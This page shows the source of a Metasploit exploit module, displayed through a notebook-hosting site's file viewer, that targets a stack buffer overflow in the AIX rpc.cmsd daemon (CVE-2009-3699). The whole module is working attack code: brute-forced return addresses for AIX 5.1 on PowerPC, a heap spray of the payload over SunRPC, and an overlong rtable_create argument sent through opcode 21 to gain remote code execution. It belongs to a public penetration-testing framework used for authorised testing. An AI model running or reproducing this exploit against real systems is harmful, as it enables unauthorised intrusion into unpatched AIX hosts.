Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/aix/rpc_cmsd_opcode21.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SunRPC9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow vulnerability in opcode 21 handled by16rpc.cmsd on AIX. By making a request with a long string passed to the first17argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This18leads to arbitrary code execution.1920NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where21further attempts are not possible.22},23'Author' =>24[25'Rodrigo Rubira Branco (BSDaemon)',26'jduck',27],28'References' =>29[30[ 'CVE', '2009-3699' ],31[ 'OSVDB', '58726' ],32[ 'BID', '36615' ],33[ 'URL', 'https://web.archive.org/web/20091013155835/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],34[ 'URL', 'https://web.archive.org/web/20221204155746/http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]35],36'Platform' => [ 'aix' ],37'Payload' =>38{39'Space' => 4104,40'BadChars' => "\x00",41# The RPC function splits the string by 0x40, watch out!42# It's not a payload badchar since we're putting the payload elsewhere...43'DisableNops' => true44},45'Targets' =>46[47[48'IBM AIX Version 5.1',49{50'Arch' => 'ppc',51'Platform' => 'aix',52'AIX' => '5.1',53'Bruteforce' =>54{55'Start' => { 'Ret' => 0x2022dfc8 },56#worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },57'Stop' => { 'Ret' => 0x202302c8 },58'Step' => 60059}60}61],62],63'DefaultTarget' => 0,64'DisclosureDate' => '2009-10-07'))6566end6768def brute_exploit(brute_target)6970if not @aixpayload71datastore['AIX'] = target['AIX']72@aixpayload = regenerate_payload.encoded73end7475print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])7677begin78sunrpc_create('udp', 100068, 4)7980# spray the heap a bit (work around powerpc cache issues)81buf = make_nops(1024 - @aixpayload.length)82buf << @aixpayload83xdr = Rex::Encoder::XDR.encode(buf, buf)8410.times {85sunrpc_call(7, xdr, 2)86}8788#print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)8990buf = rand_text_alphanumeric(payload_space)91buf << [brute_target['Ret']].pack('N')9293xdr = Rex::Encoder::XDR.encode(buf, "")94sunrpc_authunix('localhost', 0, 0, [])95sunrpc_call(21, xdr, 2)9697handler(sunrpc_callsock)98sunrpc_destroy99100rescue Rex::Proto::SunRPC::RPCTimeout101vprint_error('RPCTimeout')102rescue Rex::Proto::SunRPC::RPCError => e103vprint_error(e.to_s)104rescue EOFError105vprint_error('EOFError')106end107end108end109110111